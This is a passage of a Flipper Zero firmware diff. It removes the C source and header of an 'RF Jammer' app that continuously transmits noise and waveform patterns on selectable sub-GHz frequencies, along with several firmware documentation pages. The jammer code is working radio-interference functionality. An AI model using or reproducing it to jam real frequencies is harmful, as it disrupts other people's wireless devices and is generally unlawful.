app->tx_thread = NULL;
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "tx_thread joined and freed");
#endif
}
if(app->subghz_txrx) {
if(subghz_tx_rx_worker_is_running(app->subghz_txrx)) {
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "subghz_txrx worker is running, stopping");
#endif
subghz_tx_rx_worker_stop(app->subghz_txrx);
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "subghz_txrx worker stopped");
#endif
}
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Freeing subghz_txrx worker");
#endif
subghz_tx_rx_worker_free(app->subghz_txrx);
app->subghz_txrx = NULL;
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "subghz_txrx worker freed");
#endif
}
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Ending radio device");
#endif
if(app->device) {
#ifdef FURI_DEBUG
const char* device_name = app->device->name ? app->device->name : "Unknown";
FURI_LOG_D(TAG, "Device name: %s", device_name);
#endif
if(radio_device_loader_is_external(app->device)) {
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Device is external, performing manual cleanup");
#endif
if(furi_hal_power_is_otg_enabled()) {
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "OTG power is enabled, disabling");
#endif
furi_hal_power_disable_otg();
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "OTG power disabled");
#endif
}
} else {
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Device is internal, calling radio_device_loader_end");
#endif
radio_device_loader_end(app->device);
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "radio_device_loader_end completed");
#endif
}
app->device = NULL;
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Radio device ended");
#endif
}
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Calling subghz_devices_deinit");
#endif
subghz_devices_deinit();
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "subghz_devices_deinit completed");
#endif
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Exiting power suppression mode");
#endif
furi_hal_power_suppress_charge_exit();
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Removing view port from GUI");
#endif
gui_remove_view_port(app->gui, app->view_port);
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "gui_remove_view_port completed");
#endif
view_port_free(app->view_port);
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "view_port freed");
#endif
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Closing GUI record");
#endif
furi_record_close(RECORD_GUI);
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "GUI record closed");
#endif
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Freeing event queue");
#endif
furi_message_queue_free(app->event_queue);
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Event queue freed");
#endif
free(app);
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Exit jammer_app_free");
#endif
}
static bool jammer_init_subghz(JammerApp* app) {
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Enter jammer_init_subghz");
#endif
app->device = radio_device_loader_set(NULL, SubGhzRadioDeviceTypeExternalCC1101);
if(!app->device) {
FURI_LOG_W(TAG, "External CC1101 not found, trying internal CC1101.");
app->device = radio_device_loader_set(NULL, SubGhzRadioDeviceTypeInternal);
if(!app->device) {
FURI_LOG_E(TAG, "Failed to initialize internal CC1101.");
return false;
}
}
subghz_devices_reset(app->device);
subghz_devices_idle(app->device);
FURI_LOG_I(TAG, "Initialized device %s", app->device->name);
subghz_devices_load_preset(app->device, FuriHalSubGhzPresetOok650Async, NULL);
if(subghz_tx_rx_worker_start(app->subghz_txrx, app->device, app->frequency)) {
FURI_LOG_I(TAG, "Started SubGhz TX RX worker with device %s", app->device->name);
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Exit jammer_init_subghz");
#endif
return true;
} else {
FURI_LOG_E(TAG, "Failed to start TX RX worker with device %s", app->device->name);
subghz_tx_rx_worker_stop(app->subghz_txrx);
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Exit jammer_init_subghz");
#endif
return false;
}
}
static void jammer_show_splash_screen(JammerApp* app) {
view_port_draw_callback_set(app->view_port, jammer_splash_screen_draw_callback, app);
view_port_update(app->view_port);
furi_delay_ms(2000);
view_port_draw_callback_set(app->view_port, jammer_draw_callback, app);
}
static void jammer_splash_screen_draw_callback(Canvas* canvas, void* context) {
UNUSED(context);
canvas_clear(canvas);
for(int x = 0; x < 128; x += 8) {
for(int y = 0; y < 64; y += 8) {
canvas_draw_dot(canvas, x, y);
}
}
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(canvas, 64, 15, AlignCenter, AlignTop, "RF Jammer");
canvas_draw_str_aligned(canvas, 64, 35, AlignCenter, AlignTop, "by RocketGod");
canvas_draw_frame(canvas, 0, 0, 128, 64);
}
static void jammer_draw_callback(Canvas* canvas, void* context) {
JammerApp* app = (JammerApp*)context;
canvas_clear(canvas);
char freq_str[20];
snprintf(freq_str, sizeof(freq_str), "%3lu.%02lu",
app->frequency / 1000000,
(app->frequency % 1000000) / 10000);
int total_width = strlen(freq_str) * 12;
int start_x = (128 - total_width) / 2;
int digit_position = 0;
for(size_t i = 0; i < strlen(freq_str); i++) {
bool highlight = (digit_position == app->cursor_position);
if(freq_str[i] != '.') {
canvas_set_font(canvas, highlight ? FontBigNumbers : FontPrimary);
char temp[2] = {freq_str[i], '\0'};
canvas_draw_str_aligned(canvas, start_x + (i * 12), 10, AlignCenter, AlignTop, temp);
digit_position++;
} else {
canvas_set_font(canvas, FontPrimary);
char temp[2] = {freq_str[i], '\0'};
canvas_draw_str_aligned(canvas, start_x + (i * 12), 10, AlignCenter, AlignTop, temp);
}
}
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(canvas, 64, 55, AlignCenter, AlignTop, jamming_modes[app->jamming_mode]);
}
static void jammer_input_callback(InputEvent* input_event, void* context) {
JammerApp* app = (JammerApp*)context;
furi_message_queue_put(app->event_queue, input_event, FuriWaitForever);
}
static void jammer_adjust_frequency(JammerApp* app, bool up) {
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Enter jammer_adjust_frequency");
#endif
uint32_t frequency = app->frequency;
uint32_t step;
switch(app->cursor_position) {
case 0: step = 100000000; break;
case 1: step = 10000000; break;
case 2: step = 1000000; break;
case 3: step = 100000; break;
case 4: step = 10000; break;
default: return;
}
frequency = up ? frequency + step : frequency - step;
if(frequency > SUBGHZ_FREQUENCY_MAX) {
frequency = SUBGHZ_FREQUENCY_MIN;
} else if(frequency < SUBGHZ_FREQUENCY_MIN) {
frequency = SUBGHZ_FREQUENCY_MAX;
}
frequency = adjust_frequency_to_valid(frequency, up);
app->frequency = frequency;
FURI_LOG_I(TAG, "Frequency adjusted to %lu Hz", app->frequency);
if(app->tx_running) {
if(app->subghz_txrx && app->device) {
subghz_tx_rx_worker_stop(app->subghz_txrx);
if(subghz_tx_rx_worker_start(app->subghz_txrx, app->device, app->frequency)) {
FURI_LOG_I(TAG, "Restarted SubGhz TX RX worker with new frequency %lu Hz", app->frequency);
} else {
FURI_LOG_E(TAG, "Failed to restart SubGhz TX RX worker");
}
} else {
FURI_LOG_E(TAG, "Cannot adjust frequency, subghz_txrx or device is NULL");
}
}
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Exit jammer_adjust_frequency");
#endif
}
static void jammer_switch_mode(JammerApp* app) {
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Enter jammer_switch_mode");
#endif
if(app->tx_running) {
app->tx_running = false;
if(app->tx_thread) {
furi_thread_join(app->tx_thread);
furi_thread_free(app->tx_thread);
app->tx_thread = NULL;
}
}
if(app->subghz_txrx) {
if(subghz_tx_rx_worker_is_running(app->subghz_txrx)) {
subghz_tx_rx_worker_stop(app->subghz_txrx);
}
}
if(!app->device) {
app->device = radio_device_loader_set(NULL, SubGhzRadioDeviceTypeExternalCC1101);
if(!app->device) {
app->device = radio_device_loader_set(NULL, SubGhzRadioDeviceTypeInternal);
if(!app->device) {
return;
}
}
}
subghz_devices_begin(app->device);
subghz_devices_reset(app->device);
subghz_devices_idle(app->device);
app->jamming_mode = (app->jamming_mode + 1) % 14;
switch(app->jamming_mode) {
case JammerModeOok650Async:
subghz_devices_load_preset(app->device, FuriHalSubGhzPresetOok650Async, NULL);
break;
case JammerMode2FSKDev238Async:
subghz_devices_load_preset(app->device, FuriHalSubGhzPreset2FSKDev238Async, NULL);
break;
case JammerMode2FSKDev476Async:
subghz_devices_load_preset(app->device, FuriHalSubGhzPreset2FSKDev476Async, NULL);
break;
case JammerModeMSK99_97KbAsync:
subghz_devices_load_preset(app->device, FuriHalSubGhzPresetMSK99_97KbAsync, NULL);
break;
case JammerModeGFSK9_99KbAsync:
subghz_devices_load_preset(app->device, FuriHalSubGhzPresetGFSK9_99KbAsync, NULL);
break;
case JammerModeBruteforce:
subghz_devices_load_preset(app->device, FuriHalSubGhzPresetOok650Async, NULL);
break;
case JammerModeSineWave:
case JammerModeSquareWave:
case JammerModeSawtoothWave:
case JammerModeWhiteNoise:
case JammerModeTriangleWave:
case JammerModeChirp:
case JammerModeGaussianNoise:
case JammerModeBurst:
FURI_LOG_I(TAG, "Switched to waveform generation mode: %d", app->jamming_mode);
break;
default:
return;
}
if(app->subghz_txrx) {
if(subghz_tx_rx_worker_start(app->subghz_txrx, app->device, app->frequency)) {
jammer_start_tx(app);
}
} else {
app->subghz_txrx = subghz_tx_rx_worker_alloc();
if(app->subghz_txrx) {
if(subghz_tx_rx_worker_start(app->subghz_txrx, app->device, app->frequency)) {
jammer_start_tx(app);
}
}
}
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Exit jammer_switch_mode");
#endif
}
static void jammer_start_tx(JammerApp* app) {
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Enter jammer_start_tx");
#endif
app->tx_running = true;
app->tx_thread = furi_thread_alloc();
furi_thread_set_name(app->tx_thread, "Jammer TX");
furi_thread_set_stack_size(app->tx_thread, 2048);
furi_thread_set_context(app->tx_thread, app);
furi_thread_set_callback(app->tx_thread, jammer_tx_thread);
furi_thread_start(app->tx_thread);
#ifdef FURI_DEBUG
FURI_LOG_D(TAG, "Exit jammer_start_tx");
#endif
}
static int32_t jammer_tx_thread(void* context) {
JammerApp* app = context;
uint8_t jam_data[MESSAGE_MAX_LEN];
const char* device_name = (app->device && app->device->name) ? app->device->name : "Unknown";
FURI_LOG_I(TAG, "TX Thread started with mode %d on device %s", app->jamming_mode, device_name);
switch(app->jamming_mode) {
case JammerModeOok650Async:
memset(jam_data, 0xFF, sizeof(jam_data));
break;
case JammerMode2FSKDev238Async:
case JammerMode2FSKDev476Async:
for(size_t i = 0; i < sizeof(jam_data); i++) {
jam_data[i] = (i % 2 == 0) ? 0xAA : 0x55;
}
break;
case JammerModeMSK99_97KbAsync:
case JammerModeGFSK9_99KbAsync:
for(size_t i = 0; i < sizeof(jam_data); i++) {
jam_data[i] = rand() % 256;
}
break;
case JammerModeBruteforce:
memset(jam_data, 0xFF, sizeof(jam_data));
break;
case JammerModeSineWave:
for(size_t i = 0; i < sizeof(jam_data); i++) {
jam_data[i] = (uint8_t)(127 * sinf(2 * M_PI * i / sizeof(jam_data)) + 128);
}
break;
case JammerModeSquareWave:
for(size_t i = 0; i < sizeof(jam_data); i++) {
jam_data[i] = (i % 2 == 0) ? 0xFF : 0x00;
}
break;
case JammerModeSawtoothWave:
for(size_t i = 0; i < sizeof(jam_data); i++) {
jam_data[i] = (uint8_t)(255 * i / sizeof(jam_data));
}
break;
case JammerModeWhiteNoise:
for(size_t i = 0; i < sizeof(jam_data); i++) {
jam_data[i] = rand() % 256;
}
break;
case JammerModeTriangleWave:
for(size_t i = 0; i < sizeof(jam_data); i++) {
jam_data[i] = (i < sizeof(jam_data) / 2) ? (i * 255 / (sizeof(jam_data) / 2)) : (255 - (i * 255 / (sizeof(jam_data) / 2)));
}
break;
case JammerModeChirp:
for(size_t i = 0; i < sizeof(jam_data); i++) {
jam_data[i] = (uint8_t)(127 * sinf(2 * M_PI * i * (1 + (float)i / sizeof(jam_data))));
}
break;
case JammerModeGaussianNoise:
for(size_t i = 0; i < sizeof(jam_data); i++) {
float u1 = (float)rand() / RAND_MAX;
float u2 = (float)rand() / RAND_MAX;
float gaussian_noise = sqrtf(-2.0f * logf(u1)) * cosf(2 * M_PI * u2);
jam_data[i] = (uint8_t)(127 * gaussian_noise + 128);
}
break;
case JammerModeBurst:
for(size_t i = 0; i < sizeof(jam_data); i++) {
jam_data[i] = (i % 10 == 0) ? 0xFF : 0x00;
}
break;
}
while(app->tx_running) {
if(app->subghz_txrx) {
bool write_result = subghz_tx_rx_worker_write(app->subghz_txrx, jam_data, sizeof(jam_data));
if(!write_result) {
furi_delay_ms(20);
}
} else {
break;
}
furi_delay_ms(10);
}
FURI_LOG_I(TAG, "TX Thread exiting");
return 0;
}
static void jammer_update_view(JammerApp* app) {
view_port_update(app->view_port);
}
static uint32_t adjust_frequency_to_valid(uint32_t frequency, bool up) {
if(is_frequency_valid(frequency)) {
return frequency;
} else {
if(up) {
for(size_t i = 0; i < NUM_FREQUENCY_BANDS; i++) {
if(frequency < valid_frequency_bands[i].min) {
return valid_frequency_bands[i].min;
}
}
return valid_frequency_bands[0].min;
} else {
for(int i = NUM_FREQUENCY_BANDS - 1; i >= 0; i--) {
if(frequency > valid_frequency_bands[i].max) {
return valid_frequency_bands[i].max;
}
}
return valid_frequency_bands[NUM_FREQUENCY_BANDS - 1].max;
}
}
}
static bool is_frequency_valid(uint32_t frequency) {
for(size_t i = 0; i < NUM_FREQUENCY_BANDS; i++) {
if(frequency >= valid_frequency_bands[i].min && frequency <= valid_frequency_bands[i].max) {
return true;
}
}
return false;
}

View File

@@ -1,42 +0,0 @@
#pragma once
#include <gui/gui.h>
#include <furi.h>
#include <furi_hal.h>
#include <lib/subghz/subghz_tx_rx_worker.h>
#include <stdint.h>
typedef struct {
Gui* gui;
ViewPort* view_port;
FuriMessageQueue* event_queue;
uint32_t frequency;
uint8_t cursor_position;
bool running;
const SubGhzDevice* device;
SubGhzTxRxWorker* subghz_txrx;
FuriThread* tx_thread;
bool tx_running;
int jamming_mode;
} JammerApp;
typedef enum {
JammerModeOok650Async,
JammerMode2FSKDev238Async,
JammerMode2FSKDev476Async,
JammerModeMSK99_97KbAsync,
JammerModeGFSK9_99KbAsync,
JammerModeBruteforce,
JammerModeSineWave,
JammerModeSquareWave,
JammerModeSawtoothWave,
JammerModeWhiteNoise,
JammerModeTriangleWave,
JammerModeChirp,
JammerModeGaussianNoise,
JammerModeBurst,
} JammerMode;
JammerApp* jammer_app_alloc(void);
void jammer_app_free(JammerApp* app);
int32_t jammer_app(void* p);

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.9 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.6 KiB

After

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.6 KiB

After

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.3 KiB

After

Width:  |  Height:  |  Size: 1.2 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 511 B

After

Width:  |  Height:  |  Size: 1.4 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 518 B

After

Width:  |  Height:  |  Size: 968 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 483 B

After

Width:  |  Height:  |  Size: 1.2 KiB

View File

@@ -1 +0,0 @@
/doxygen/build

View File

@@ -1,139 +0,0 @@
# FAM (Flipper App Manifests) {#app_manifests}
All components of Flipper Zero firmware — services, user applications, and system settings — are developed independently. Each component has a build system manifest file named `application.fam`, which defines the basic properties of that component and its relations to other parts of the system.
When building firmware, `fbt` collects all app manifests and processes their dependencies. Then it builds only those components referenced in the current build configuration. See [FBT docs](fbt.md) for details on build configurations.
## App definition
A firmware component's properties are declared in a Python code snippet, forming a call to the `App()` function with various parameters.
Only two parameters are mandatory: **appid** and **apptype**. Others are optional and may only be meaningful for certain app types.
### Parameters
- **appid**: string, app ID within the build system. It is used to specify which app to include in the build configuration and resolve dependencies and conflicts.
- **apptype**: member of FlipperAppType.\* enumeration. Valid values are:
| Enum member | Firmware component type |
| ----------- | ------------------------------------------------------------------------------------------- |
| SERVICE | System service, created at early startup |
| SYSTEM | App is not being shown in any menus. It can be started by other apps or from CLI |
| APP | Regular app for the main menu |
| PLUGIN | App to be built as a part of the firmware and to be placed in the Plugins menu |
| DEBUG | App only visible in Debug menu with debug mode enabled |
| ARCHIVE | One and only Archive app |
| SETTINGS | App to be placed in the system settings menu |
| STARTUP | Callback function to run at system startup. Does not define a separate app |
| EXTERNAL | App to be built as `.fap` plugin |
| METAPACKAGE | Does not define any code to be run, used for declaring dependencies and app bundles |
- **name**: name displayed in menus.
- **entry_point**: C function to be used as the app's entry point. Note that C++ function names are mangled, so you need to wrap them in `extern "C"` to use them as entry points.
- **flags**: internal flags for system apps. Do not use.
- **cdefines**: C preprocessor definitions to declare globally for other apps when the current app is included in the active build configuration. **For external apps**: specified definitions are used when building the app itself.
- **requires**: list of app IDs to include in the build configuration when the current app is referenced in the list of apps to build.
- **conflicts**: list of app IDs with which the current app conflicts. If any of them is found in the constructed app list, `fbt` will abort the firmware build process.
- **provides**: functionally identical to **_requires_** field.
- **stack_size**: stack size in bytes to allocate for an app on its startup. Note that allocating a stack too small for an app to run will cause a system crash due to stack overflow, and allocating too much stack space will reduce usable heap memory size for apps to process data. _Note: you can use `top` and `free` CLI commands to profile your app's memory usage._
- **icon**: animated icon name from built-in assets to be used when building the app as a part of the firmware.
- **order**: order of an app within its group when sorting entries in it. The lower the order is, the closer to the start of the list the item is placed. _Used for ordering startup hooks and menu entries._
- **sdk_headers**: list of C header files from this app's code to include in API definitions for external apps.
- **targets**: list of strings and target names with which this app is compatible. If not specified, the app is built for all targets. The default value is `["all"]`.
- **resources**: name of a folder within the app's source folder to be used for packacking SD card resources for this app. They will only be used if app is included in build configuration. The default value is `""`, meaning no resources are packaged.
#### Parameters for external apps
The following parameters are used only for [FAPs](./AppsOnSDCard.md):
- **sources**: list of strings, file name masks used for gathering sources within the app folder. The default value of `["*.c*"]` includes C and C++ source files. Apps cannot use the `"lib"` folder for their own source code, as it is reserved for **fap_private_libs**. Paths starting with `"!"` are excluded from the list of sources. They can also include wildcard characters and directory names. For example, a value of `["*.c*", "!plugins"]` will include all C and C++ source files in the app folder except those in the `plugins` (and `lib`) folders. Paths with no wildcards (`*, ?`) are treated as full literal paths for both inclusion and exclusion.
- **fap_version**: string, app version. The default value is "0.1". You can also use a tuple of 2 numbers in the form of (x,y) to specify the version. It is also possible to add more dot-separated parts to the version, like patch number, but only major and minor version numbers are stored in the built .fap.
- **fap_icon**: name of a `.png` file, 1-bit color depth, 10x10px, to be embedded within `.fap` file.
- **fap_libs**: list of extra libraries to link the app against. Provides access to extra functions that are not exported as a part of main firmware at the expense of increased `.fap` file size and RAM consumption.
- **fap_category**: string, may be empty. App subcategory, also determines the path of the FAP within the apps folder in the file system.
- **fap_description**: string, may be empty. Short app description.
- **fap_author**: string, may be empty. App's author.
- **fap_weburl**: string, may be empty. App's homepage.
- **fap_icon_assets**: string. If present, it defines a folder name to be used for gathering image assets for this app. These images will be preprocessed and built alongside the app. See [FAP assets](AppsOnSDCard.md) for details.
- **fap_extbuild**: provides support for parts of app sources to be built by external tools. Contains a list of `ExtFile(path="file name", command="shell command")` definitions. `fbt` will run the specified command for each file in the list.
- **fal_embedded**: boolean, default `False`. Applies only to PLUGIN type. If `True`, the plugin will be embedded into host app's .fap file as a resource and extracted to `apps_assets/APPID` folder on its start. This allows plugins to be distributed as a part of the host app.
Note that commands are executed at the firmware root folder, and all intermediate files must be placed in an app's temporary build folder. For that, you can use pattern expansion by `fbt`: `${FAP_WORK_DIR}` will be replaced with the path to the app's temporary build folder, and `${FAP_SRC_DIR}` will be replaced with the path to the app's source folder. You can also use other variables defined internally by `fbt`.
Example for building an app from Rust sources:
```python
sources=["target/thumbv7em-none-eabihf/release/libhello_rust.a"],
fap_extbuild=(
ExtFile(
path="${FAP_WORK_DIR}/target/thumbv7em-none-eabihf/release/libhello_rust.a",
command="cargo build --release --verbose --target thumbv7em-none-eabihf --target-dir ${FAP_WORK_DIR}/target --manifest-path ${FAP_SRC_DIR}/Cargo.toml",
),
),
```
- **fap_private_libs**: list of additional libraries distributed as sources alongside the app. These libraries will be built as a part of the app build process.
Library sources must be placed in a subfolder of the `lib` folder within the app's source folder.
Each library is defined as a call to the `Lib()` function, accepting the following parameters:
- **name**: name of the library's folder. Required.
- **fap_include_paths**: list of the library's relative paths to add to the parent fap's include path list. The default value is `["."]`, meaning the library's source root.
- **sources**: list of filename masks to be used for gathering include files for this library. Paths are relative to the library's source root. The default value is `["*.c*"]`.
- **cflags**: list of additional compiler flags to be used for building this library. The default value is `[]`.
- **cdefines**: list of additional preprocessor definitions to be used for building this library. The default value is `[]`.
- **cincludes**: list of additional include paths to be used for building this library. Paths are relative to the app's root. This can be used for providing external search paths for this library's code — for configuration headers. The default value is `[]`.
Example for building an app with a private library:
```python
fap_private_libs=[
Lib(
name="mbedtls",
fap_include_paths=["include"],
sources=[
"library/des.c",
"library/sha1.c",
"library/platform_util.c",
],
cdefines=["MBEDTLS_ERROR_C"],
),
Lib(
name="loclass",
cflags=["-Wno-error"],
),
],
```
For that snippet, `fbt` will build 2 libraries: one from sources in `lib/mbedtls` folder and another from sources in the `lib/loclass` folder. For the `mbedtls` library, `fbt` will add `lib/mbedtls/include` to the list of include paths for the app and compile only the files specified in the `sources` list. Additionally, `fbt` will enable `MBEDTLS_ERROR_C` preprocessor definition for `mbedtls` sources.
For the `loclass` library, `fbt` will add `lib/loclass` to the list of the included paths for the app and build all sources in that folder. Also, `fbt` will disable treating compiler warnings as errors for the `loclass` library, which can be useful when compiling large 3rd-party codebases.
Both libraries will be linked with the app.
## .fam file contents
The `.fam` file contains one or more app definitions. For example, here's a part of `applications/service/bt/application.fam`:
```python
App(
appid="bt_start",
apptype=FlipperAppType.STARTUP,
entry_point="bt_on_system_start",
order=70,
)
App(
appid="bt_settings",
name="Bluetooth",
apptype=FlipperAppType.SETTINGS,
entry_point="bt_settings_app",
stack_size=1 * 1024,
requires=[
"bt",
"gui",
],
order=10,
)
```
For more examples, see `.fam` files from various firmware parts.

View File

@@ -1,83 +0,0 @@
# FAP (Flipper App Package) {#apps_on_sd_card}
[fbt](./fbt.md) supports building apps as FAP files. FAPs are essentially `.elf` executables with extra metadata and resources bundled in.
FAPs are built with the `faps` target. They can also be deployed to the `dist` folder with the `fap_dist` target.
FAPs do not depend on being run on a specific firmware version. Compatibility is determined by the FAP's metadata, which includes the required [API version](#api-versioning).
## How to set up an app to be built as a FAP {#fap-howto}
FAPs are created and developed the same way as internal apps that are part of the firmware.
To build your app as a FAP, create a folder with your app's source code in `applications_user`, then write its code the way you'd do when creating a regular built-in app. Then configure its `application.fam` manifest, and set its `apptype` to `FlipperAppType.EXTERNAL`. See [Flipper App Manifests](AppManifests.md) for more details.
- To build your app, run `./fbt fap_{APPID}`, where APPID is your app's ID in its manifest.
- To build your app and upload it over USB to run on Flipper, use `./fbt launch APPSRC=applications_user/path/to/app`. This command is configured in the default [VS Code profile](../.vscode/ReadMe.md) as a "Launch App on Flipper" build action (Ctrl+Shift+B menu).
- To build an app without uploading it to Flipper, use `./fbt build APPSRC=applications_user/path/to/app`. This command is also available in VSCode configuration as "Build App".
- To build all FAPs, run `./fbt faps` or `./fbt fap_dist`.
## FAP assets
FAPs can include static and animated images as private assets. They will be automatically compiled alongside app sources and can be referenced the same way as assets from the main firmware.
To use that feature, put your images in a subfolder inside your app's folder, then reference that folder in your app's manifest in the `fap_icon_assets` field. See [Flipper App Manifests](AppManifests.md) for more details.
To use these assets in your app, put `#include "{APPID}_icons.h"` in your app's source code, where `{APPID}` is the `appid` value field from your app's manifest. Then you can use all icons from your app's assets the same way as if they were a part of `assets_icons.h` of the main firmware.
Images and animated icons should follow the same [naming convention](../assets/ReadMe.md) as those from the main firmware.
## Debugging FAPs
`fbt` includes a script for gdb-py to provide debugging support for FAPs, `debug/flipperapps.py`. It is loaded in default debugging configurations by `fbt` and stock VS Code configurations.
With it, you can debug FAPs as if they were a part of the main firmware — inspect variables, set breakpoints, step through the code, etc.
If debugging session is active, firmware will trigger a breakpoint after loading a FAP into memory, but before running any code from it. This allows you to set breakpoints in the FAP's code. Note that any breakpoints set before the FAP is loaded may need re-setting after the FAP is actually loaded, since the debugger cannot know the exact address of the FAP's code before loading the FAP.
### Setting up debugging environment
The debugging support script looks up debugging information in the latest firmware build directory (`build/latest`). That directory is symlinked by `fbt` to the latest firmware configuration (Debug or Release) build directory when you run `./fbt` for the chosen configuration. See [fbt docs](fbt.md) for details.
To debug FAPs, do the following:
1. Build firmware with `./fbt`
2. Flash it with `./fbt flash`
3. [Build your FAP](#fap-howto) and run it on Flipper
After that, you can attach the debugger to the target MCU with `./fbt debug` or VS Code and use all debug features.
It is **important** that firmware and app build type (debug/release) match and that the matching firmware folder is linked as `build/latest`. Otherwise, debugging will not work.
## How Flipper runs an app from an SD card
Flipper's MCU cannot run code directly from external storage, so it needs to be copied to RAM first. That is done by the App Loader responsible for loading the FAP from the SD card, verifying its integrity and compatibility, copying it to RAM, and adjusting it for its new location.
Since the FAP has to be loaded to RAM to be executed, the amount of RAM available for allocations from heap is reduced compared to running the same app from flash, as a part of the firmware. Note that the amount of occupied RAM is less than the total FAP file size since only code and data sections are allocated, while the FAP file includes extra information only used at app load time.
Apps are built for a specific API version. It is a part of the hardware target's definition and contains a major and minor version number. The App Loader checks if the app's major API version matches the firmware's major API version.
The App Loader allocates memory for the app and copies it to RAM, processing relocations and providing concrete addresses for imported symbols using the [symbol table](#symbol-table). Then it starts the app.
## API versioning {#api-versioning}
Not all parts of firmware are available for external apps. A subset of available functions and variables is defined in the "api_symbols.csv" file, which is a part of the firmware target definition in the `targets/` directory.
`fbt` uses semantic versioning for the API. The major version is incremented when there are breaking changes in the API. The minor version is incremented when new features are added.
Breaking changes include:
- Removing a function or a global variable
- Changing the signature of a function
API versioning is mostly automated by `fbt`. When rebuilding the firmware, `fbt` checks if there are any changes in the API exposed by headers gathered from `SDK_HEADERS`. If so, it stops the build, adjusts the API version, and asks the user to go through the changes in the `.csv` file. New entries are marked with a "`?`" mark, and the user is supposed to change the mark to "`+`" for the entry to be exposed for FAPs, or to "`-`" for it to be unavailable.
`fbt` will not allow building a firmware until all "`?`" entries are changed to "`+`" or "`-`".
**NB:** `fbt` automatically manages the API version. The only case where manually incrementing the major API version is allowed (and required) is when existing "`+`" entries are to be changed to "`-`".
### Symbol table {#symbol-table}
The symbol table is a list of symbols exported by firmware and available for external apps. It is generated by `fbt` from the API symbols file and is used by the App Loader to resolve addresses of imported symbols. It is build as a part of the `fap_loader` app.
`fbt` also checks if all imported symbols are present in the symbol table. If there are any missing symbols, it will issue a warning listing them. The app won't be able to run on the device until all required symbols are provided in the symbol table.

View File

@@ -1,16 +0,0 @@
# This is a UPC-A Barcode Generator for the Flipper Zero hardware.
> Author: [McAzzaMan](https://github.com/McAzzaMan/flipperzero-firmware/tree/UPC-A_Barcode_Generator/applications/barcode_generator)
<img src="https://i.imgur.com/TDbo1tz.png" alt="" />
It will eventually be expanded into other barcode types. It currently only generates UPC-A type barcodes.
<img src="https://i.imgur.com/bxTdzuA.png" alt="" />
## Controls
Hitting the `centre` button on the Flipper toggles edit mode.
When in edit mode, `Left` and `Right` will change the digit to be changed, and up and down will adjust the digit value.
<img src="https://i.imgur.com/lGbzdwH.png" alt="" />

View File

@@ -1,10 +0,0 @@
# How to change Flipper name:
## Instruction
1. Go to Settings -> Desktop -> Change Flipper Name
2. Enter your new custom name for your flipper and click `Save`, **name will be saved on microSD card, and will stay same after firmware updates**
3. You will see a message `Name is set!` and when you exit from settings -> flipper will automatically reboot!
4. After reboot you will see your new custom name in device info and right screen `passport`
5. Done!
**To reset device name to default - do same steps but do not enter any characters, leave it empty and click** `Save`

View File

@@ -1,12 +0,0 @@
## How to extend SubGHz supported frequency range
#### CC1101 Frequency range specs: 300-348 MHz, 386-464 MHz, and 778-928 MHz (+ 350MHz and 467MHz was added to default range)
#### This setting will extend to: 281-361 MHz, 378-481 MHz, and 749-962 MHz
1. Please do not do that unless you know what exactly you are doing
2. You don't need extended range for almost all use cases
3. Extending frequency range and transmitting on frequencies that outside of hardware specs can damage your hardware!
4. Flipper Devices team and/or unleashed fw developers is not responsible of any damage that can be caused by using CFW or extending frequency ranges!!!
If you really sure you need that change, find `subghz/assets/dangerous_settings` file on your microSD, read comments on first lines
and change `false` to `true`

File diff suppressed because it is too large Load Diff

View File

@@ -1,172 +0,0 @@
# Expansion Module Protocol {#expansion_protocol}
## Terms and definitions
- Expansion Module: A third-party hardware unit meant for use with Flipper Zero by connecting it to its GPIO header.
- Expansion Module Protocol: A serial-based, byte-oriented, synchronous communication protocol described in this document.
- Host: Hardware unit tasked with serving requests. Used interchangeably with Flipper, Server, Host etc. throughout this document.
- Device: Used interchangeably with Expansion Module, Module, Client, etc.
- RPC: Remote Procedure Call, a protobuf-based communication protocol widely used by Flipper Zero companion applications.
- Timeout Interval: Period of inactivity to be treated as a loss of connection, also denoted as Tto. Equals to 250 ms.
- Baud Rate Switch Dead Time: Period of time after baud rate change during which no communication is allowed, also denoted Tdt. Equals to 25 ms.
## Features
- Automatic expansion module detection
- Baud rate negotiation
- Basic error detection
- Request-response communication flow
- Integration with Flipper RPC protocol
## Hardware
Depending on the UART selected for communication, the following pins area available for the expansion modules to connect to:
